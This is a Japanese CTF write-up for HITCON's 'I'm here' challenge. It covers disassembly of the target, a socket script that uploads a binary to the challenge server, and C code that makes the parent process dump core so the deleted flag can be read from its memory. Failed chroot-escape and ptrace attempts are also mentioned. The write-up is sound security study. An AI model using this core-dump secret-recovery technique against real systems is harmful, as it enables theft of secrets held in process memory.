TSGの面々(cookies,dai,hakatashi,moratorium,satos,yamaguchi)で参加してました。
二日目から私の自宅を開放して集まってやりました。プロが解いてくれたので、私は応援係をしていました。
I'm here
頑張った。ほぼこれしかやっていない。nc 52.196.86.193 2507
のバイナリファイルが与えられます。a.outを実行してくれるなぁと思います。
解析パート
objdumpを見てみました。forkとかunlinkとかしてるのが怪しいなぁと思います。
00000000004005f0 <main>: 4005f0: 53 push %rbx 4005f1: be 4f 73 4b 00 mov $0x4b734f,%esi 4005f6: bf c4 1a 4a 00 mov $0x4a1ac4,%edi 4005fb: e8 b0 f5 00 00 callq 40fbb0 <_IO_new_fopen> 400600: 48 85 c0 test %rax,%rax 400603: 74 26 je 40062b <main+0x3b> 400605: 48 89 c2 mov %rax,%rdx 400608: be 00 01 00 00 mov $0x100,%esi 40060d: bf e0 e6 6c 00 mov $0x6ce6e0,%edi 400612: 48 89 c3 mov %rax,%rbx 400615: e8 b6 f2 00 00 callq 40f8d0 <_IO_fgets> 40061a: 48 85 c0 test %rax,%rax 40061d: 74 0c je 40062b <main+0x3b> 40061f: 48 89 df mov %rbx,%rdi 400622: e8 09 ef 00 00 callq 40f530 <_IO_new_fclose> 400627: 85 c0 test %eax,%eax 400629: 74 04 je 40062f <main+0x3f> 40062b: 31 c0 xor %eax,%eax 40062d: 5b pop %rbx 40062e: c3 retq 40062f: bf c4 1a 4a 00 mov $0x4a1ac4,%edi 400634: e8 37 f4 03 00 callq 43fa70 <__unlink> 400639: 85 c0 test %eax,%eax 40063b: 75 ee jne 40062b <main+0x3b> 40063d: e8 de dc 03 00 callq 43e320 <__libc_fork> 400642: 85 c0 test %eax,%eax 400644: 74 09 je 40064f <main+0x5f> 400646: 31 ff xor %edi,%edi 400648: e8 33 dc 03 00 callq 43e280 <__libc_wait> 40064d: eb dc jmp 40062b <main+0x3b> 40064f: be ca 1a 4a 00 mov $0x4a1aca,%esi 400654: 31 d2 xor %edx,%edx 400656: 48 89 f7 mov %rsi,%rdi 400659: e8 22 e0 03 00 callq 43e680 <execlp> 40065e: 31 ff xor %edi,%edi 400660: e8 bb df 03 00 callq 43e620 <_exit> 400665: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 40066c: 00 00 00 40066f: 90 nop
静的解析ができないので、gdbで実行してみようと思います。
なんだかすぐ異常終了しちゃうなぁと思ったら、fopenで/flagというファイルをreadで開こうとして失敗しているんだなということがわかります。
=> 0x4005fb <main+11>: call 0x40fbb0 <fopen64> 0x400600 <main+16>: test rax,rax 0x400603 <main+19>: je 0x40062b <main+59> 0x400605 <main+21>: mov rdx,rax 0x400608 <main+24>: mov esi,0x100 Guessed arguments: arg[0]: 0x4a1ac4 --> 0x612f0067616c662f ('/flag') arg[1]: 0x4b734f --> 0x614d007270410072 ('r')
/flagというファイルを作ります。
fgetsでファイルの中身を読み込んで0x6ce6e0というアドレスに入れていることがわかります。
=> 0x400615 <main+37>: call 0x40f8d0 <fgets> 0x40061a <main+42>: test rax,rax 0x40061d <main+45>: je 0x40062b <main+59> 0x40061f <main+47>: mov rdi,rbx 0x400622 <main+50>: call 0x40f530 <fclose> Guessed arguments: arg[0]: 0x6ce6e0 --> 0x0 arg[1]: 0x100 arg[2]: 0x6d1bf0 --> 0xfbad2488
また実行をしていくとfcloseとunlinkで失敗して死んでいることがわかるので、適当にset $rax=1してあげるか、fcloseやunlinkの権限がなくて死んでいることがわかるのでsudoを付けて実行してあげるかします。
その後、forkをして子プロセスを作り、そこでa.outというファイルをexeclpしていることがわかりました。
解析はこんな感じで、問題は/flagというファイルが読み出されたあと削除されてしまっているので、親プロセスのメモリ0x6ce6e0をなんとかして読んでフラグを入手しようね、ということだとわかります。
攻撃パート
攻撃用スクリプトをsatosプロから入手しました。
from socket import * import time sock = socket(AF_INET, SOCK_STREAM) sock.connect(("52.196.86.193", 2507)) with open('a.out','rb') as fp: s = fp.read() #print len(s) sock.send(str(len(s)) + '\n') sock.send(s) s = "" for i in xrange(500): s += sock.recv(1024) print s
プロ!!後は親プロセスのメモリを表示させるだけ!!!
まずはHello worldとかして色々試してみますが、どうもexecv("/bin/ls","/bin/ls",NULL)系が通らないなぁとわかります。
しかしCのscandirは通って、ls的なことはできました。
こんな感じ。
struct dirent **namelist; int r=scandir(".",&namelist,NULL,NULL); printf("%d\n",r); int i=0; for(i=0;i<r;i++){ printf("%s\n",namelist[i]->d_name); }
これを送りつけると、カレントディレクトリには. .. a.out imhereの4つしか無いことがわかります。やっぱり/flagは消されてますね。
しかし、ルートディレクトリを見ようとすると、. .. a.out imhereしかありません、カレントと一緒です。chrootされていることがわかりました。
嘘解法
cookiesプロと一緒に、chroot脱獄しようと頑張りました。こんなリンク参考にしたりとか…。
Escaping a chroot jail/1 | PyTux
いろいろ頑張ったのですが、この方針はダメでした。
chroot関数が実行できなかったのですね。
嘘解法2
getppidとかで親のプロセスIDはわかったので、ptraceでなんとかメモリを読もうと頑張りました。でも、これもダメ!operation not permitedと言われます。
通った解法
cookiesプロがコアファイルがどうのと言い出したのでコアファイルを吐かせるために親プロセスを殺しに行きました。参考にしたリンク。
Linuxコマンド kill - 非エンジニアのエンジニア道
Man page of GETRLIMIT
cookiesがurlimitをどうこうしてくれて、killコマンドで親プロセスを殺してコアファイルを表示しようとしました。
しかし、何回やってもダメ・・・。cookiesが思いつきでsleep(3)してくれたら出てきました!killコマンドはシグナルを送るだけだから少し待たないとコアファイル出てこないみたいです。
こんな感じ。
#include<dirent.h> #include <stdio.h> #include <errno.h> #include <fcntl.h> #include <string.h> #include<stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include<signal.h> #include<sys/time.h> #include<sys/resource.h> #include<sys/ptrace.h> char buf[3000]; int main(){ pid_t p_pid; pid_t c_pid; p_pid=getppid(); c_pid=getpid(); struct rlimit newlimit,oldlimit; newlimit.rlim_cur=RLIM_INFINITY; newlimit.rlim_max=RLIM_INFINITY; prlimit(p_pid,RLIMIT_CORE,&newlimit,&oldlimit); kill(p_pid,3); sleep(5); FILE *open=fopen("core","rb"); while(fread(buf,128,1,open)) { write(1,buf,128); } fclose(open); return 0; }
出てきたコアファイルをgdbで読めばフラグを入手できるはずなんだけど、何回やってもformat errorとか言われてなんでだろうなあとか言ってたらもらった攻撃用スクリプトのバグでちゃんと読もうなって気分になりました。
ちゃんとしたコアファイルが出てきたら、見るだけ!!
$ gdb ./imhere core gdb-peda$ x/s 0x6ce6e0 0x6ce6e0 <flag>: "hitcon{i'm H1re, C4n Y0u see m3}\n"
長かった…。
Flame
だいぶ時間をかけたけど解けなかった。objdumpを渡したら、私が寝ている間にsatosプロが解いてくれた。powerpc32bitのファイルが渡されるので、gdbで実行したら勝ちやろ!っつってpowerpc用のgdbを入れようと頑張るができず・・・。
これは何が正攻法なんですかね??
感想
楽しかった!おうちでわいわいやるのは楽しいね。まともに大会出るのは去年のseccon以来とかセキュキャン以来とかで最近全くCTFしてなかったけど一問は解けてよかった…。結局13チームしか解けてないし。
でも他のメンバーに比べると圧倒的雑魚なので頑張りたい。